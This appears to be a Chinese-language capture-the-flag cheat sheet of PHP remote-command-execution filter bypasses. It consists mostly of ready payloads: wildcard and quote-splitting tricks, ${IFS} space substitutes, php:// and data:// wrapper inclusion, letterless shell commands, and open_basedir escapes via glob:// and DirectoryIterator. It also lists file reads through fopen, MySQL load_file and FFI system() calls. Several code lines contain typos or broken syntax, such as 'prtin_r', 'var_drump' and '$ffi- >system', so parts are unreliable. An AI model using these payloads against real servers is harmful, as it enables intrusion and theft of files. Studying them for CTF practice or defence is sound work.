RCE绕过姿势

通配符

payload:c=system('cat f*');
在linux系统中 有一些通配符

匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

再补充一下:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 c=system('ca\t fla\g.php');
空格过滤
在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
文件包含绕过

直接放payload

payload:
?c=include$_GET["url"]>&url=php://filter/read=convert.base64-encode/resource=flag.php
GET传参中引号可有可无
伪协议
?c=data://text/plain,php代码
php短标签绕过
<?=%20system(%27cat%20fla*%27)%20?>

一些函数组合拳绕过

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

详见羽师傅https://blog.csdn.net/miuzzx/article/details/109143413

绕过黑洞

使用两个参数绕过,shell会执行第一个命令(记得使用urL编码),第二个命令被黑洞吃掉

2>/dev/null
意思就是把错误输出到“黑洞”

/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”

空格被过滤看上面

再不行可以采用nl mv

?c=nl<fla''g.php||ls #编码前
?c=nl<fla''g.php%7C%7Cls #编码后//注fla?.php也行
?c=nl${IFS}fl""ag.php
?c=ls${IFS}/%0a
?c=nl${IFS}/fl""ag%0a
mv${IFS}fla?.php${IFS}a.txt

离谱的?姿势

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){

  system($c);

}
}else{
highlight_file(__FILE__);
}

payload:c=/???/????64 ????????//问号匹配

p神的getshell文章

初级
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
进阶
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

读flag姿势

c=echo file_get_contents("flag.php");
c=show_source('flag.php');
c=include('flag.php');
c=readfile('flag.php');
c=print_r(file('flag.php'));
file_get_contents("flag.php");
改名绕过
copy("flag.php","flag.txt"); //过60 rename("flag.php","flag.txt");
文件名未知/查找位置
根目录文件名未知
c=prtin_r(scandir('/'));
c=var_drump(scandir('/'));
查找位置
c=var_dump(scandir("/"));highlight_file("/flag.txt");
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "
"; };highlight_file("/flag.txt");
使用die来使程序结束而无法被后面的代码过滤
c=include(’/flag.txt’);exit();
require("/flag.txt"); exit();
绕过echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可die();也行
GLob协议绕过读文件

绕过open_basedir
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){

   echo"filename:".$file.“\n"

}
closedir($b);
}
exit();
另一种
c=$a=new DirectoryIterator('glob:///*');
foreach($a as $f){echo($f->__toString()." ");};exit();

uaf脚本绕过

fopen(搬运一下羽师傅的)
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
load--file读取
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
ffi拓展绕过
c=$ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > xxx.txt';$ffi- >system($a);exit();
用Bash内置变量做跳板
使用path做跳板构造payload
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php
所有我们现在想到简易一点的方法就是得到一个n一个l
发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用~获取变量的最后几位
payload: code=${PATH:~A}${PWD:~A} ????.???

更多姿势见linuxBash内置变量

https://blog.51cto.com/allenh/1695810

补充变量

PHP_VERSION=7.3.22

SHLVL=1

PHP_CFLAGS=-fstack-protector-strong -fpic--fpie -02 -D .........(详见哔哩哔哩ctfhsow web119)